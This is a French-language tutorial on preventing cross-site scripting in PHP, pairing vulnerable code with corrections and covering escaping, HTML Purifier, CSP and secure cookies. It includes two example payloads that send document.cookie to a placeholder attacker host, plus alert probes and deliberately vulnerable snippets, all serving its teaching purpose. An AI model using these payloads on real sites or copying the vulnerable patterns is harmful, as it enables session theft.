Cross-Site Scripting (XSS)

A. Mécanisme du XSS

Le XSS exploite la confiance du navigateur envers le code HTML/JS reçu du serveur. Si une application insère des données utilisateur brutes dans une page, un attaquant peut injecter des balises ou des événements JavaScript qui s’exécuteront dans le contexte de la victime.

Exemple d’attaque réfléchie :

1. L’attaquant envoie un lien piégé : http://site.com/recherche.php?q=<script>fetch('https://hacker.com/steal?cookie='+document.cookie)</script>
2. La page PHP affiche la recherche sans échappement :

   <p>Résultats pour : <?php echo $_GET['q']; ?></p>

3. La victime clique sur le lien → son cookie de session est volé.

B. Techniques de prévention

1. Échappement contextuel

Le traitement dépend du contexte où la donnée est insérée :

Exemple complet :

// Donnée utilisateur non sécurisée
$user_comment = $_POST['comment'];

// Affichage sécurisé dans du HTML
echo '<div class="comment">' .
     htmlspecialchars($user_comment, ENT_QUOTES, 'UTF-8') .
     '</div>';

// Utilisation dans du JavaScript
<script>
  var comment = <?php echo json_encode($user_comment); ?>;
</script>

2. Validation des entrées

• Rejeter les balises dangereuses :

  $clean_input = strip_tags($_POST['input']); // Supprime toutes les balises HTML

• Liste blanche de balises (si vous devez autoriser du HTML limité) :

  $allowed_tags = '<b><i><p><a>';
  $clean_input = strip_tags($_POST['input'], $allowed_tags);

• Utiliser HTML Purifier pour un nettoyage avancé :

  require_once 'HTMLPurifier.auto.php';
  $config = HTMLPurifier_Config::createDefault();
  $purifier = new HTMLPurifier($config);
  $clean_html = $purifier->purify($_POST['input']);

3. Content Security Policy (CSP)

Le CSP est un header HTTP qui restreint les sources de scripts, styles, etc. Exemple :

# Dans .htaccess ou la configuration Apache/Nginx
Header set Content-Security-Policy "default-src 'self'; script-src 'self' https://apis.google.com; style-src 'self' 'unsafe-inline'; img-src 'self' data:"

• Effet : Bloque l’exécution de scripts inline ('unsafe-inline') ou depuis des domaines non autorisés.
• Test : Utilisez CSP Evaluator pour vérifier votre politique.

4. Bonnes pratiques complémentaires

• Désactiver register_globals (obsolète mais encore présent sur certains serveurs).
• Configurer httpOnly et Secure pour les cookies :

  session_set_cookie_params([
    'lifetime' => 3600,
    'path' => '/',
    'domain' => 'votre-site.com',
    'secure' => true,     // HTTPS seulement
    'httponly' => true,   // Bloque l'accès via JavaScript
    'samesite' => 'Strict'
  ]);

• Utiliser des frameworks modernes (Laravel, Symfony) qui échappent automatiquement les données (ex : Blade {{ }} en Laravel).

C. Exemples concrets d’attaques et corrections

Cas 1 : XSS réfléchi via un champ de recherche

Code vulnérable :

<!-- recherche.php -->
<p>Vous avez recherché : <?php echo $_GET['q']; ?></p>

Attaque : http://site.com/recherche.php?q=<img src=x onerror=alert(1)> → Affiche une alerte JavaScript.

Correction :

<p>Vous avez recherché : <?php echo htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8'); ?></p>

Cas 2 : XSS stocké dans un livre d’or

Code vulnérable :

// Sauvegarde en base de données
$comment = $_POST['comment'];
$stmt = $pdo->prepare("INSERT INTO comments (text) VALUES (?)");
$stmt->execute([$comment]);

// Affichage ultérieur
echo "<div class='comment'>$comment</div>"; // XSS si $comment contient du JS

Attaque : Un utilisateur soumet :

<script>document.location='https://hacker.com/steal?cookie='+document.cookie</script>

→ Tous les visiteurs exécutent ce script.

Correction :

// À l'affichage :
echo '<div class="comment">' . htmlspecialchars($comment, ENT_QUOTES, 'UTF-8') . '</div>';

// Ou avec HTML Purifier si vous autorisez du HTML limité :
echo '<div class="comment">' . $purifier->purify($comment) . '</div>';

Cas 3 : XSS via un attribut HTML

Code vulnérable :

<a href="<?php echo $_GET['url']; ?>">Lien</a>

Attaque : http://site.com/page.php?url=javascript:alert(1) → Exécute du JS au clic.

Correction :

<a href="<?php echo htmlspecialchars($_GET['url'], ENT_QUOTES, 'UTF-8'); ?>">
    Lien
</a>

Cas 4 : XSS DOM-based (côté client)

Code vulnérable (JavaScript) :

// URL : http://site.com/#<img src=x onerror=alert(1)>
var pos = document.location.hash.substring(1);
document.getElementById('content').innerHTML = pos;

Correction :

// Échappement manuel ou utilisation de textContent
document.getElementById('content').textContent = pos;

D. Outils pour tester les XSS

• OWASP ZAP : Scanner automatisé pour détecter les XSS réfléchis/stockés.

  zap-baseline.py -t http://votre-site.com

• Burp Suite : Intercepter et modifier les requêtes pour tester les injections.
• XSS Hunter : Outil pour détecter l’exploitation de XSS en environnement réel.
• PHPStan : Détecte les echo de variables non échappées (avec des règles personnalisées).

E. Pourquoi htmlspecialchars() seul ne suffit pas toujours ?

• Contexte JavaScript :

  <script>
  var data = <?php echo htmlspecialchars($user_data); ?>; // Échoue si $user_data contient des guillemets
  </script>

  Solution : Utiliser json_encode() :

  <script>
  var data = <?php echo json_encode($user_data); ?>;
  </script>

• Attributs HTML avec espaces :

  <input value="<?php echo htmlspecialchars($value); ?>" type="text">

  Si $value contient un espace + onmouseover=..., l’attribut peut être rompu. Solution : Toujours entourer les attributs de guillemets et utiliser ENT_QUOTES.

Conclusion

Le XSS est une faille courante mais évitable en PHP. La clé est :

1. Échapper les données en fonction du contexte (HTML, JS, URL, etc.).
2. Valider et nettoyer les entrées (liste blanche, HTML Purifier).
3. Renforcer la sécurité avec CSP et des cookies sécurisés.

Ressources utiles :

• OWASP XSS Prevention Cheat Sheet Guide officiel avec des règles précises pour chaque contexte (attributs HTML, JavaScript, CSS, etc.).
• HTML Purifier Bibliothèque PHP pour filtrer le HTML utilisateur et bloquer les XSS (idéal pour les zones de texte riche comme les commentaires).
• Générateur de CSP par Google Outil pour créer et tester des politiques Content Security Policy (CSP) afin de limiter l’exécution de scripts non autorisés.
• OWASP ZAP Scanner gratuit pour détecter automatiquement les XSS réfléchis/stockés dans votre application.